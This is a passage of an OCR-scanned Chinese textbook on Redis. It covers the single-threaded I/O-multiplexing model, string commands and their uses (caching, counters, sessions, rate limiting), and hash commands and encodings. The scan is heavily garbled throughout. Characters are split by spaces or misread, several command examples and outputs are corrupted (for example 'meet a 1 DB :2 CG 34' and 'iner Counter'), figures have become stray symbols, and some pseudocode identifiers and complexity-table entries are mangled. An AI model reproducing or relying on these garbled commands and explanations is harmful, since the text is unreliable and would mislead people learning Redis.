结构 和 命令 没有 影响 ， 这 样 一 旦 开发 出 更 优秀 的 内 部 编码 ， 无 需 改 动 外 部 数 
据 结构 和 命令 ， 例 如 Redis3.2 提 供 了 quicklist， 结 合 了 ziplist 和 Hlinkedlist 两 者 
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的 优势 ， 为 列表 类 型 提供 了 一 种 更 为 优秀 的 内 部 编码 实现 ， 而 对 外 部 用 户 来 
说 基本 感知 不 到 。 第 二 ， 多 种 内 部 编码 实现 可 以 在 不 同 场景 下 发 挥 各 上 自 的 优 
势 ， 例 如 ziplist 比 较 节 省 内 存 ， 但 是 在 列表 元 素 比较 多 的 情况 下 ， 性 能 会 有 
所 下 降 ， 这 时 候 Redis 会 根据 配置 选项 将 列表 类 型 的 内 部 实现 转换 为 


linkedlist。 
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2.1.3 单线 程 架 构 


Redis 使 用 了 单线 程 染 构 和 1/O 多 路 复 用 模型 来 实现 高 性 能 的 内 存 数据 库 
服务 ， 本 节 首 移 通 过 多 个 客户 端 命 令 调用 的 例子 说 明 Redis 单 线程 命令 处 理 
机 制 ， 接 着 分 析 Redis 单 线程 模型 为 什么 性 能 如 此 之 高 ， 最 终 给 出 为 什么 理 
解 单线 程 模型 是 使 用 和 运 维 Redis 的 关键 。 


1. 引 出 单线 程 模型 
现在 开启 了 三 个 redis-cli 客 户 端 同时 执行 命令 。 


客户 端 1 设置 一 个 字符 串 键 值 对 : 





127.0.0.1:6379> set hello world 





客户 端 2 对 counter 做 目 增 操作 : 





127.0.0.1:6379> incr counter 





客户 端 3 对 counter 做 目 增 操作 : 





127.0.0.16379> iner Counter 





Redis 和 客户 问 与 服务 端的 模型 可 以 简化 成 图 2-3， 每 次 客户 端 调 用 都 经 历 
了 发 送 命令 、 执 行 命令 、 返 回 结果 三 个 过 程 。 


其 中 第 2 步 是 重点 要 讨论 的 ， 因 为 Redis 是 单线 程 来 处 理 命令 的 ， 所 以 一 
条 命令 从 客户 并 达到 服务 端 不 会 立刻 被 执行 ， 所 有 命令 部会 进入 一 个 队列 
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中 ， 然 后 逐个 被 执行 。 所 以 上 面 3 个 客户 端 命令 的 执行 顺序 是 不 确定 的 〈 如 
图 2-4 押 示 ) ， 但 是 可 以 确定 不 会 有 两 条 命令 被 同时 执行 《如 图 2-5 所 示 ) ， 
所 以 两 条 incr 命 令 无 论 怎么 执行 最 终结 果 都 是 2， 不 会 产生 并 发 问题 ， 这 就 
是 Redis 单 线程 的 基本 模型 。 但 是 像 发 送 命令 、 返 回 结果 、 命 令 排队 肯定 不 
像 描 述 的 这 么 简单 ，Redis 使 用 了 LO 多 路 复 用 技术 来 解决 VO 的 问题 ， 下 一 节 


将 进行 介绍 。 






client 


图 2-3 ”Redis 客 户 端 与 服务 端 请 求 过 程 





Redis 


be 
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图 2-4 ”所 有 命令 在 一 个 队列 里 排队 等 每 被 执行 


We 
ri, 
和 ~、 
es 
~ 一- 
全 
»》 
-> 
S| 
———— 
We er 
3 
3 
i 
大 
~ 一 一 一 一 


图 2-5 不 存在 多 个 命令 被 同时 执行 的 情况 
2. 为 什么 单线 程 还 能 这 么 快 
通常 来 讲 ， 单 线程 处 理 能 力 要 比 多 线程 差 ， 例 如 有 10000 斤 货物 ， 每 辆 
车 的 运载 能 力 是 每 次 200 斤 ， 那 么 要 50 次 才能 完成 ， 但 是 如 果 有 50 辆 车 ， 只 
要 安排 合理 ， 只 需要 一 次 就 可 以 完成 任务 。 那 么 为 什么 Redis 使 用 单线 程 模 
型 会 达到 每 秒 万 级 别 的 处 理 能 力 呢 ?可 以 将 其 归结 为 三 点 : 


第 一 ， 纯 内 存 访问 ，Redis 将 所 有 数据 放 在 内 存 中 ， 内 存 的 啊 应 时 长 大 
约 为 100 纳 秒 ， 这 是 Redis 达 到 每 秒 万 级 别 访问 的 重要 基础 。 


第 二 ， 非 阻塞 JJO，Redis 使 用 epoll 作 为 O 多 路 复 用 技术 的 实现 ， 再 加 上 
Redis 自 身 的 事件 处 理 模型 将 epoll 中 的 连接 、 读 写 、 关 闭 都 转换 为 事件 ， 不 
在 网 络 WO 上 浪费 过 多 的 时 间 ， 如 图 2-6 所 示 。 
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|Redis Event Loop| 


Redis 


Tea dy 


client-1 
client-2 







Tea dy 


| client-N 


图 2-6 ”Redis 使 用 IO 多 路 复 用 和 自身 事件 模型 





第 三 ， 单 线程 避免 了 线程 切换 和 竞 态 产生 的 消耗 。 


既然 采用 单线 程 就 能 达到 如 此 高 的 性 能 ， 那 么 也 不 失 为 一 种 不 错 的 选 
择 ， 因 为 单线 程 能 带 来 几 个 好 处 : 第 一 ， 单 线程 可 以 简化 数据 结构 和 算法 的 
实现 。 如 果 对 局 级 编程 语言 应 的 读者 应 该 了 解 并 友 数 据 结 构 实现 不 但 困难 
而 且 开 发 测试 比较 态 烦 。 第 二 ， 单 线程 避免 了 线程 切换 和 竞 态 产 生 的 消耗 ， 
对 于 服务 端 开发 来 说 ， 锁 和 线程 切换 通常 是 性 能 杀手 。 











但 是 单线 程 会 有 一 个 问题 : 对 于 每 个 命令 的 执行 时 间 是 有 要 求 的 。 如 宋 
东 个 命令 执行 过 长 ， 会 造成 其 他 命令 的 阻 赛 ， 对 于 Redis 这 种 高 性 能 的 服务 
来 说 是 致命 的 ， 所 以 Redis 是 面 癌 快速 执行 场景 的 数据 库 。 








单线 程 机 制 很 容易 被 初学 者 忽视 ， 但 笔者 认为 Redis 单 线程 机 制定 开发 
和 运 维 人 员 使 用 和 理解 Redis 的 核心 之 一 ， 随 着 后 面 的 学 习 ， 相 信 读 者 会 逐 


74 


75 


2.2 ”字符 串 


字符 串 类 型 是 Redis 最 基础 的 数据 结构 。 首 先 键 都 是 字符 串 类 型 ， 而 且 
其 他 几 种 数据 结构 都 是 在 字符 串 类 型 基础 上 构建 的 ， 所 以 字符 串 类 型 能 为 其 
他 四 种 数据 结构 的 学 习 奠 定 基础 。 如 图 2-7 所 示 ， 字 符 串 类 型 的 值 实际 可 以 
是 字符 串 〈 简 单 的 字符 串 、 复 如 的 字符 串 (例如 JSON、XML) ) 、 数 字 





key value ， 
3 i 
"age"™s 9., 
"name" :tim, 
We ho = ot 








0 | 2 3 :4 5 6 7 


图 2-7 字符 串 数据 结构 
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2.2.1 命令 





字符 串 类 型 的 命令 比较 多 ， 本 小 节 将 按照 剃 用 和 不 第 用 两 个 维度 进行 说 
里 





明 ， 但 是 这 里 常用 和 不 常用 是 相对 的 ， 和 希望 读者 尽 可 能 都 去 了 解 和 掌握 。 
1. 常 用 命令 
(1) 设置 值 
set key value [ex seconds] [px milliseconds] [nx|xx] 





下 面 操作 设置 键 为 hello， 值 为 world 的 键 值 对 ， 返 回 结果 为 OK 代表 设置 
成 功 : 





127.0.0.1:6379> set hello world 
OK 





set 命 令 有 几 个 选项 : 

ex seconds: 为 键 设置 秒 级 过 期 时 间 。 

px milliseconds: 为 键 设 置 寞 秒 级 过 期 时 间 。 

-nx: 键 必须 不 存在 ， 才 可 以 设置 成 功 ， 用 于 添加 。 

-xx: 与 nx 相反 ， 键 必须 存在 ， 才 可 以 设置 成 功 ， 用 于 更 新 。 


除了 set 选 项 ，Redis 还 提供 了 setex 和 setnx 两 个 命令 





setex key seconds value 
setnx key value 
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它们 的 作用 和 ex 和 mx 选项 是 一 样 的 。 下 面 的 例子 说 明了 set、setnx、set 
xx 的 区 别 。 


当前 键 hello 不 存在 : 





127.0.0.1:6379> exists hello 
(integer) 0 





设置 键 为 hello， 值 为 world 的 键 值 对 : 





127.0.0.1:6379> set hello world 
OK 





因为 键 hello 已 存在 ， 所 以 setnx 失 败 ， 返 回 结果 为 0: 








127.0.0.1:6379> setnx hello redis 
(integer) 0 





因为 键 hello 已 存在 ， 所 以 set xx 成 功 ， 返 回 结果 为 OK: 





127.0.0.1:6379> set hello jedis xx 
OK 





setnx 和 setxx 在 实际 使 用 中 有 什么 应 用 场景 吗 ? 以 setnx 命 令 为 例子 ， 由 于 
Redis 的 单线 程 命令 处 理 机 制 ， 如 果 有 多 个 客户 端 同时 执行 setnx key value， 
根据 setnx 的 特性 只 有 一 个 客户 问 能 设置 成 功 ，setnx 可 以 作为 分 布 式 锁 的 一 种 
实现 方案 ，Redis 官 方 给 出 了 使 用 setnx 实 现 分 布 式 锁 的 方 
法 : http://redis.io/topics/distlock。 


(2) 获取 值 
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get key 





下 面 操作 获取 键 hello 的 值 : 





127.0.0.1:6379> get hello 
"world" 





如 果 要 获取 的 键 不 存在 ， 则 返回 nil ( 空 ) : 





127.0.0.1:6379> get not exist key 
(nii.1) 





(3) 批量 设置 值 





mset key Value [key value ...] 





下 面 操作 通过 mset 命 令 一 次 性 设置 4 个 键 值 对 : 





127:0:001.037903 meet a 1 DB :2 CG 34 
OK 





(4) 批量 获取 值 





mget key [key ...] 





下 面 操作 批量 获取 了 键 a、b、c、d 的 值 : 





TOTO OL 60N moet a be 


1) 下 下 下 
2) A 
3) 人 
4) 联 示 本 





如 果 有 些 键 不 存在 ， 那 么 它 的 值 为 nil《〈 空 》， 结 果 是 按照 传 入 键 的 顺 
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了 1 


返回 : 





127.0.0.1:6379> mget a bc ft 


1) 负 秆 于 
2) no 
3) ye 
4) (nil) 








批量 操作 命令 可 以 有 效 提 高 开发 效率 ， 假 如 没有 mget 这 样 的 命令 ， 要 执 
行 n 次 get 命 令 需要 按照 图 2-8 的 方式 来 执行 ， 有 具体 耗 时 如 下 : 





D 次 Ge 上 tt 时间 = n 次 网 络 时 间 二 n 次 命令 时 间 








client li 
网 络 


发 送 命 令 n 


运 回 结果 7 执行 
ss ss 


Te 





图 2-8 ”n 次 get 命 令 执 行 模型 


使 用 mget 命 令 后 ， 要 执行 n 次 get 命 令 操 作 只 需要 按照 图 2-9 的 方式 来 完 
成 ， 具 体 耗 时 如 下 : 





n 次 get 时 间 = 1 次 网 络 时 间 十 n 次 命令 时 间 
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2. 执行 n 次 


Redis 


client 





图 2-9 一 次 mget 命 令 执 行 模型 


Redis 可 以 文 撑 每 秒 数 万 的 读 写 操作 ， 但 是 这 指 的 是 Redis 服 务 端的 处 理 
能 力 ， 对 于 客户 端 来 次， 一 次 命令 除了 命令 时 间 还 是 有 网 络 时 间 ， 假 设 网 络 
时 间 为 1 军 秒 ， 命 令 时 间 为 0.1 室 秒 《〈 按 照 每 秒 处 理 1 万 条 命令 算 ) ， 那 么 执 
行 1000 次 get 命 令 和 1 次 mget 命 令 的 区 别 如 表 2-1， 因 为 Redis 的 处 理 能 力 已 经 
足够 高 ， 对 于 开发 人 员 来 说 ， 网 络 可 能 会 成 为 性 能 的 瓶颈 。 





表 2-1 1000 次 get 和 1 次 get 对 比 表 


操 作 时 间 
1 000 次 get 1000 x 1+1000 x 0.1=1100 毫 秒 =1.1 秒 
1 次 met (组 装 了 1 000 个 键 值 对 ) 1 x 1+1000 x 0.1=101 毫秒 =0.101 秒 





学 会 使 用 批量 操作 ， 有 助 于 提高 业务 处 理 效率 ， 但 是 要 注意 的 是 每 次 批 
量 操作 所 发 送 的 命令 数 不 是 无 节制 的 ， 如 果 数 量 过 多 可 能 造成 Redis 阻 塞 或 
者 网 络 拥 老 。 
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(5) 计数 





incr key 





incr 命 令 用 于 对 值 做 自 增 操作 ， 返 回 结果 分 为 三 种 情况 : 


` 值 不 是 整数 ， 返 回 错误 。 


` 值 是 整数 ， 返 回 自 增 后 的 结果 。 





键 不 存在 ， 按 照 值 为 0 自 增 ， 返回 结果 为 1。 


例如 对 一 个 不 存在 的 键 执行 incr 操 作 后 ， 返 回 结果 是 1: 





127.0.0.1:6379> exists key 
(integer) 0 
127.0.0.1:6379> incr key 
(integer) 1 





再 次 对 键 执行 ner 命令， 返回 结果 是 2: 





127.0.0.1:6379> incr key 
(integer) 2 





如 果 值 不 是 整数 ， 那 么 会 返回 错误 : 





127.0.0.1:6379> set hello worild 
OK 
127.0.0.1:6379> incr hello 

(error) ERR value is not an integer or out of range 











除了 incr 命 令 ，Redis 提 供 了 decr 〈 自 减 ) 、incrby 自 增 指定 数字 ) 、 


decrby《〈 上 自 减 指定 数字 ) 、incrbyfloat 〈 上 自 增 浮 点 数 ) : 
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decr key 

incrby key increment 
decrby key decrement 
incrbyfloat key increment 





很 多 存储 系统 和 编程 语言 内 部 使 用 CAS 机 制 实现 计数 功能 ， 会 有 一 定 的 
CPU 开销 ， 但 在 Redis 中 完全 不 存在 这 个 问题 ， 因 为 Redis 是 单线 程 架 构 ， 任 
何 命令 到 了 Redis 服 务 端 都 要 顺序 执行 。 





2. 不 常用 命令 


(1) 追加 值 





append key Value 





append 可 以 癌 字 符 串 尾部 妃 加 值 ， 例 如 : 





127.0.0.1:6379> get key 

"redis" 

127.0.0.1:6379> append key world 
(integer) 10 

127.0.0.1:6379> get key 
"redisworld" 





(2) 字符 串 长 度 





strlen key 





例如 ， 当 前 值 为 redisworld， 所 以 返回 值 为 10: 





127.0.0.1:6379> get key 
"redisworld" 
127.0.0.1:6379> strlen key 
(integer) 10 








下 面 操作 人 返回 结果 为 6， 因 为 每 个 中 文 占用 3 个 字 节 : 
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127.0.0.1:6379> set hello "世界 " 
OK 

127.0.0.1:6379> strlen hello 
(integer) 6 





(3) 设置 并 返回 原 值 





getset key value 











getset 和 set 一 样 会 设置 值 ， 但 是 不 同 的 是 ， 它 同时 会 返回 键 原 来 的 值 ， 
例如 : 




















127.0.0.1:6379> getset hello world 
(nil) 

127.0.0.1:6379> getset hello redis 
"world" 





(4) 设置 指定 位 置 的 字符 





setrange key offeset Value 








下 面 操作 将 值 由 pest 变 为 了 best: 





127.0.0.1:6379> set redis Pest 

OK 

127.0.0.1:6379> setrange redis 0 b 
(integer) 4 

127.0.0.1:6379> get redis 

"best" 





(5) 获取 部 分 字符 捉 





getrange key start end 











start 和 end 分 别 是 开始 和 结束 的 偏 移 量 ， 偏 移 量 从 0 开始 计算 ， 例 如 下 面 
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操作 获取 了 值 best 的 前 两 个 字符 。 





127.0.0.1:6379> getrange redis 0 工 
"be 1 








表 2-2 是 字符 串 类 型 命令 的 时 间 复 杂 度 ， 开 发 人 员 可 以 参考 此 表 ， 结 合 
目 喘 业务 需求 和 数据 大 小 选择 适合 的 命令 。 


表 2-2 字符 串 类 型 命令 时 间 复 杂 反 





命 令 时 间 复 杂 度 
set key value O(1) 
get key Of(1) 
del key [key ...] O( 月 , 大 是 键 的 个 数 
mset key Value [key value ...] O(, 大 是 键 的 个 数 
mget key [key ...] O( 有 j,k 是 键 的 个 数 
incr key 0O(1) 
decr key 0O(1) 
incrby key increment 0O(1) 
decrby key decrement 0O(1) 
incrbyfloat key increment O(1) 
append key value 0O(1) 
strlen key 0O(1) 
setrange Kery ffset varns 0O(1) 


O(n), n 是 字符 串 长 度 ， 由 于 获取 字符 串 非 常 快 ， 所 以 


getrange key start end ee na erent 
如 果 字 符 串 不 是 很 长 ， 可 以 视 同 为 0(1) 
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2.2.2 ”内 部 编码 
字符 串 类 型 的 内 部 编码 有 3 种 : 
“int: 8 个 字 节 的 长 整 型 。 
:embstr: 小 于 等 于 39 个 字 节 的 字符 串 。 
Taw: 大 于 39 个 字 节 的 字符 串 。 
Redis 会 根据 当前 值 的 类 型 和 长 度 决 定 使 用 哪 种 内 部 编码 实现 。 


整数 类 型 示例 如 下 : 





127.0.0.1:6379> set key 8653 

OK 

127.0.0.1:6379> object encoding key 
i 





短 字符 串 示 例如 下 : 





# 小 于 等 于 3 9 个 字 节 的 字符 串 : embstr 
127.0.0.1:6379> set key "hello,world" 
OK 

127.0.0.1:6379> object encoding key 
"embstr" 











长 字符 串 示 例如 下 : 





# 大 于 3 9 个 字 节 的 字符 串 : raw 
127.0.0.1:6379> set key "one string greater than 39 byte......... - 





127.0.0.1:6379> object encoding key 


127.0.0.1:6379> strlen key 
(integer) 40 


| 
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有 关 字 符 串 类 型 的 内 存 优化 技巧 将 在 8.3 节 详细 介绍 。 
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2.2.3 ”典型 使 用 场景 


1. 缓 存 功 能 


图 2-10 是 比较 典型 的 缓存 使 用 场景 ， 其 中 Redis 作 为 缓存 层 ，MyYSQL 作 
为 存储 层 ， 绝 大 部 分 请 求 的 数据 都 是 从 Redis 中 获取 。 由 于 Redis 具 有 文 撑 高 
并 发 的 特性 ， 所 以 缓存 通常 能 起 到 加 速 读 写 和 降低 后 端 压 力 的 作用 。 


下 面盆 代码 模拟 了 图 2-10 的 访问 过 程 : 





Web 服务 | 
+ 个 sturn 
| 缀 存 技 (Re dis) return 
用 户 了 -二 
Dai1SS write cache 
存储 层 (MySQD) 友信 MysQD | 


图 2-10 Redis + MySQL 组 成 的 缓存 存储 架构 








1) 该 函数 用 于 获取 用 户 的 基础 信息 : 


UserInfo getUserinfo(long id) { 


} 
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2) 首先 从 Redis 获 取 用 户 信息: 





/ / 定义 键 

userRedisKey = "user:info:" + idgd; 
// 从 Redis 获 取 值 

Value = redis.get (userRedisKey); 
if (value != null) { 











/ / 将 值 进行 反 序 列 化 为 JserInfo 并 返回 结果 
userIinfo = deserialize (value); 
return userInfo; 








Or 





与 MySQL 等 关系 型 数据 库 不 同 的 是 ，Redis 没 有 命令 空间 ， 而 且 也 没有 
对 键 名 有 强制 要 求 〈 除 了 不 能 使 用 一 些 特殊 字符 ) 。 但 设计 合理 的 键 名 ， 有 
利于 防止 键 冲 突 和 项 目的 可 维护 性 ， 比 较 推 荐 的 方式 是 使 用 "业务 名 : 对 象 
名 : id: [属性 ] ”作为 键 名 《也 可 以 不 是 分 号 ) 。 例 如 MySQL 的 数据 库 名 为 
vs， 用 户 表 名 为 user， 那 么 对 应 的 键 可 以 用 "vs: user: 1"，"vs: user: 1: 
name" 来 表示 ， 如 果 当 前 Redis 只 被 一 个 业务 使 用 ， 甚 至 可 以 去 掉 “vs: ”。 如 
果 键 名 比较 长 ， 例 如 “user: {uid}: friends: messages: {mid}”， 可 以 在 能 描 
述 键 舍 义 的 前 提 下 适当 减少 键 的 长 度 ， 例 如 变 为 “: {uid}: fr: m: 
{mid}”， 从 而 减少 由 于 键 过 长 的 内 存 浪费 。 





3) 如 果 没 有 从 Redis 获 取 到 用 户 信 息 ， 需 要 从 MySQL 中 进行 获取 ， 并 将 
结果 回 写 到 Redis， 添 加 1 小 时 (3600 秒 〉 过 期 时 间 : 

















// 从 MySQL 获 取 用 户 信 息 

userIinfo = mysql.get (id); 

// 将 userInfo 序 列 化 ,并 存 入 Redis 

redis.setex(userRedisKey, 3600, serialize (userIinfo)); 
/ / 返回 结果 

return userInfo 





























一 
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整个 功能 的 伪 代 码 如 下 : 





UserInfo getUserinfo(long id){ 








userRedisKey = "user:info:™" + id 
Value = redis.get (userRedisKey); 
UserIinfo userIinfo; 
if (value != null) { 

userInfo = deserialize (value); 
} else { 

userIinfo = mysql.get (id); 

if (userInfo != null) 








redis.setex(userRedisKey, 3600, serialize (userIinfo)); 
} 


return userInfo; 





2. 计 





许多 应 用 都 会 使 用 Redis 作 为 计数 的 基础 工具 ， 它 可 以 实现 快速 计数 、 
查询 缓存 的 功能 ， 同 时 数据 可 以 腊 步 落地 到 其 他 数据 源 。 例 如 笔者 所 在 团队 
的 视频 播放 数 系统 束 是 使 用 Redis 作 为 视频 播放 数 计数 的 基础 组 件 ， 用 户 每 
播放 一 次 视频 ， 相 应 的 视频 播放 数 束 会 自 增 1: 





long incrVideoCounter(long id) { 
key = "video:playCount:" + id; 
return redis.incr (key); 


} 





Oana 


实际 上 一 个 真实 的 计数 系统 要 考虑 的 问题 会 很 多 : 防 作弊 、 按 照 不 同 维 
度 计 数 ， 数 据 持 久 化 到 撒 层 数据 源 等 。 


3. 共 享 Session 


如 图 2-11 所 示 ， 一 个 分 布 式 Web 服 务 将 用 户 的 Session 信 息 〈 例 如 用 户 登 
录 信 息 ) 保存 在 各 目 服 务 器 中 ， 这 样 会 造成 一 个 问题 ， 出 于 负载 均衡 的 考 
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夸 ， 分 布 式 服务 会 将 用 户 的 访问 均衡 到 不 同 服务 器 上 ， 用 户 刷新 一 次 访问 可 
会 用 现 需 要 重新 登录 ， 这 个 问题 是 用 户 无 法 容忍 的 。 








Web 服务 -1 Web 服务 -2 We Web 服务 3 服务 -3 


图 2-11 ”Session 分 散 管 理 







Session-2 


用 户 


为 了 解决 这 个 问题 ， 可 以 使 用 Redis 将 用 户 的 Session 进 行 集 中 管理 ， 如 
图 2-12 所 示 ， 在 这 种 模式 下 只 要 保证 Redis 是 高 可 用 和 扩展 性 的 ， 每 次 用 户 
更 新 或 者 查询 登录 信息 都 直接 从 Redis 中 集中 获取 。 
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Web 服务 -1 Web 服务 -2 Web 服务 -3 






Redis 


所 有 Session 






图 2-12 ”Redis 集 中 管理 Session 
4. 限 速 


很 多 应 用 出 于 安全 的 考虑 ， 会 在 每 次 进行 登录 时 ， 让 用 户 输入 手机 验证 
码 ， 从 而 确定 是 否 是 用 户 本 人 。 但 是 为 了 短信 接口 不 被 频 蚂 访问， 会 限制 用 
户 每 分 钟 获取 验证 码 的 频率 ， 例 如 一 分 钟 不 能 超过 5 次 ， 如 图 2-13 上 所 示 。 


图 2-13 ”短信 验证 码 限 速 
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此 功能 可 以 使 用 Redis 来 实现 ， 下 面 的 伪 代 码 给 出 了 基本 实现 思路 : 





phoneNum = "138xxxxxxxx"; 

key = "shortMsg:limit:" + phoneNum; 

// SET key value EX 60 Nx 

isExists = redis.set (key,1l,"EX 60","NXx"); 

if(isExists != null || redis.incr (key) <=5)1{ 
/ / 通过 

}elsef 
// 限 速 




















} 





上 述 就 是 利用 Redis 实 现 了 限 速 功能 ， 例 如 一 些 网 站 限制 一 个 PP 地 址 不 
能 在 一 秒 钟 之 内 访问 超过 n 次 也 可 以 采用 类 似 的 思路 。 


除了 上 面 介 绍 的 儿 种 使 用 场景 字符 串 还 有 非常 多 的 适用 场景 ， 开 发 人 
员 可 以 结合 字符 串 提 供 的 相应 命令 充分 发 挥 目 己 的 想象 力 。 
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23 了 哈 希 





几乎 所 有 的 编程 语言 都 提供 了 哈 希 (hash) 类 型 ， 它 们 的 叫 法 可 能 是 哈 
希 、 字 典 、 关 联 数组 。 在 Redis 中 ， 哈 希 类 型 是 指 键 值 本 身 又 是 一 个 键 值 对 
结构 ， 形 如 value={ {fieldl1，valuel1}，...{fieldN，valueN}:，Redis 键 值 对 和 
哈 希 类 型 二 者 的 关系 可 以 用 图 2-14 来 表示 。 





kev value 


/ 访 ” 4 出 

| user:|:name | tom | 守 人 和 付 中 

1 六 4 中 

| user: |:age | 一 一 | 28 | 李 付 中 
| name | tom | 


| A 
age 28 





field value 


图 2-14 ”字符 串 和 哈 希 类 型 对 比 


Os 


哈 希 类 型 中 的 映射 关系 叫 作 field-value， 注 意 这 里 的 value 是 指 field 对 应 
的 值 ， 不 是 键 对 应 的 值 ， 请 注意 value 在 不 同上 下 文 的 作用 。 
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2.3.1 命令 


(1) 设置 值 





hset key field value 





下 面 为 user: 1 添加 一 对 field-value: 





127.0.0.1:6379> hset user:l1 name 七 om 
(integer) 1 





如 果 设 置 成 功 会 返回 1， 反 之 会 返回 0。 此 外 Redis 提 供 了 hsetnx 命 令 ， 它 
们 的 关系 就 像 set 和 setnx 命 令 一 样 ， 只 不 过 作用 域 由 键 变 为 field。 


(2) 获取 值 





hget key field 





例如 ， 下 面 操作 获取 user: 1 的 name 域 (属性 ) 对 应 的 值 : 





127.0.0.1:6379> hget user:l1 name 
1 和 om 1 





如 果 键 或 field 不 存在 ， 会 返回 nil: 





127.0.0.1:6379> hget user:2 name 
(nil) 
127.0.0.1:6379> hget user:1 age 
(nid) 








(3) 删除 field 
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hdel key field [fiéeld. ,ss:] 





hdel 会 删除 一 个 或 多 个 field， 返 回 结果 为 成 功 删 除 field 的 个 数 ， 例 如 : 





127.0.0.1:6379> hdel user:1 name 
(integer) 1 
127.0.0.1:6379> hdel user:1 age 
(integer) 0 








(4) 计算 field 个 数 





hlen key 





例如 user: 1 有 3 个 field: 





127.0.0.1:6379> hset user:l1 name 七 om 
127.0.0.1:6379> hset user:l1 age 23 


127.0.0.1:6379> hset user:1 city tianjin 
(integer) 1 
127.0.0.1:6379> hlen user:1 
(integer) 3 




















(5) 批量 设置 或 获取 field-value 





hmget key field [field ...] 
hmset key field value [field value ...] 











hmset 和 hmget 分 别 是 批量 设置 和 获取 field-value，hmset 需 要 的 参数 是 key 
和 多 对 field-value，hmget 需 要 的 参数 是 key 和 多 个 field。 例 如 : 





127.0.0.1:6379> hmset user:1 name mike age 12 city tianjin 


OK 

127.0.0.1:6379> hmget user:1 name city 
1) "mike" 

2) "tianjin" 
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(6) 判断 field 是 否 存在 





hexists key field 





例如 ，user: 1 包含 name 域 ， 所 以 返回 结果 为 1， 不 包含 时 返回 0: 





127.0.0.1:6379> hexists user:1 name 
(integer) 1 





(7) 获取 所 有 field 





hkeys key 





hkeys 命 令 应 该 叫 hfields 更 为 恰当 ， 它 返回 指定 哈 希 键 所 有 的 field， 例 
如 : 





127.0.0.1:6379> hkeys user:1 


1) "name" 
2) "age" 
3) Voity" 





(8) 获取 所 有 value 





hvals key 





下 面 操 作 获 取 user: 1 全 部 value: 





127.0.0.1:6379> hvals user:l1 


1) "mike" 
2) "12" 
3) "tianjin" 





(9) 获取 所 有 的 field-value 
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hgetall key 





下 面 操作 获取 user: 1 所 有 的 field-value: 





127.0.0.1:6379> hgetall user:1 
1) "name™" 

) “mike" 

) "age" 

9 下 瑟 园 

) “Sity 

) "tianjin" 





Oj 


在 使 用 hsgetall 时 ， 如 果 哈 希 元 素 个 数 比 较 多 ， 会 存在 阻塞 Redis 的 可 能 
如 果 开 发 人 员 只 需要 获取 部 分 field， 可 以 使 用 hmget， 如 果 一 定 要 获取 全 部 
field-value， 可 以 使 用 hscan 命 令 ， 该 命令 会 渐进 式 过 历 哈 希 类 型 ，hscan 将 在 


2.7 节 介绍 。 





(10) hincrby hincrbyfloat 





hincrby key field 
hincrbyfloat key field 





hincrby 和 hincrbyfloat， 就 像 incrby 和 incrbyfloat 命 令 一 样 ， 但 是 它们 的 作 
用 域 是 filed。 


(11) 计算 value 的 字符 串 长 度 〈 需 要 Redis3.2 以 上 ) 





hstrlen key field 





例如 hget user: lname 的 value 是 tom， 那 么 hstrlen 的 返回 结果 是 3: 





98 


127.0.0.1:6379> hstrlen user:1 name 
(integer) 3 





表 2-3 是 哈 希 类 型 命令 的 时 间 复 杂 度 ， 开 发 人 员 可 以 参考 此 表 选 择 适 合 


的 命令 。 


表 2-3 ”了 哈 希 类 型 命令 的 时 间 复 杂 度 


命 令 时 间 复 杂 度 
hset key field value O(1) 
hget key field 0O(1) 
hdel key field [field ...] O( 昌 , 大 是 fiela 个 数 
hlen key 0O(1) 
hgetall key O(n), n 是 field 总 数 
( 续 ) 
命 ” 令 时 间 复 杂 度 
hmget field [field ...] O( 忆 ,kK 是 field 的 个 数 
hmset field value [field value ...] O( 有 ,是 field 的 个 数 
hexists key field O(1) 
hkeys key O(n), n 是 field 总 数 
hvals key O(n), n 是 field 总 数 
hsetnx key field value O(1) 
hincrby key field increment 0O(1) 
hincrbyfloat key iield increment O(1) 
hstrlen key field 0O(1) 
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2.3.2 ”内 部 编码 


哈 希 类 型 的 内 部 编码 有 两 种 : 





ziplist《〈 压 缩 列 表 ) : 当 哈 希 类 型 元 素 个 数 小 于 hash-max-ziplist-entries 
配置 (默认 512 个 ) 、 同 时 所 有 值 都 小 于 hash-max-ziplistvalue 配 置 〈 默 认 64 
字 节 ) 时 ，Redis 会 使 用 ziplist 作 为 哈 希 的 内 部 实现 ，ziplist 使 用 更 加 紧凑 的 
结构 实现 多 个 元 素 的 连续 存储 ， 所 以 在 节省 内 存 方面 比 hashtable 更 加 优秀 。 





-hashtable〈 哈 希 表 ) : 当 哈 希 类 型 无 法 满足 ziplist 的 条 件 时 ，Redis 会 使 
用 hashtable 作 为 哈 希 的 内 部 实现 ， 因 为 此 时 ziplist 的 读 写 效率 会 下 降 ， 而 
hashtable 的 读 写 时 间 复 杂 度 为 O (1) 。 











下 面 的 示例 演示 了 哈 希 类 型 的 内 部 编码 ， 以 及 相应 的 变化 。 


1) 当 field 个 数 比较 少 且 没有 大 的 value 时 ， 内 部 编码 为 ziplist: 





127.0.0.1:6379> hmset hashkey fl vi f2 v2 
OK 

127.0.0.1:6379> object encoding hashkey 
"ziplist" 





2.1) 当 有 value 大 于 64 字 市 ， 内 部 编码 会 由 ziplist 变 为 hashtable: 





127.0.0.1:6379> hset hashkey f3 "one string is bigger than 64 byte... 和 忽略 ..." 
OK 

127.0.0.1:6379> object encoding hashkey 

"hashtable" 





2.2) 当 field 个 数 超过 512， 内 部 编码 也 会 由 ziplist 变 为 hashtable: 





127.0.0.1:6379> hmset hashkey fl vl f2 v2 f3 v3 ... 和 忽略... f513 v513 
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OK 
127.0.0.1:6379> object encoding hashkey 
"hashtable" 





有 关 哈 而 类 型 的 内 存 优化 技巧 将 在 8.3 市 中 详细 介绍 。 
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2.3.3 ”使 用 场景 








图 2-15 为 关系 型 数据 表 记 录 的 两 条 用 户 信 息 ， 用 户 的 属性 作为 表 的 列 ， 
每 条 用 户 信息 作为 行 


如 果 将 其 用 哈 希 类 型 存储 ， 如 图 2-16 所 示 。 


id | name | city | 
| ] tom beijing | 
| 2 | mike 30 | tianjin | 


图 2-15 ”关系 型 数据 库 表 保存 用 户 信 息 





TD IS Oe ee ee a en nD en em ep em DD eS ED OS ES 


7 
| 


age 23 


一 


city beijing 


1d 
| Nane 
a | 一 一 
USEr;S 加 
ea ade 
| city 





TO OO eo OO OO i 


图 2-16 ”使 用 哈 希 类 型 缓存 用 户 信息 


相 比 于 使 用 字符 串 序 列 化 缓存 用 户 信息 ， 哈 希 类 型 变 得 更 加 直观 ， 并 且 





在 更 新 操作 上 会 更 加 便捷 。 可 以 将 每 个 用 户 的 id 定义 为 键 后 级， 多 对 field- 
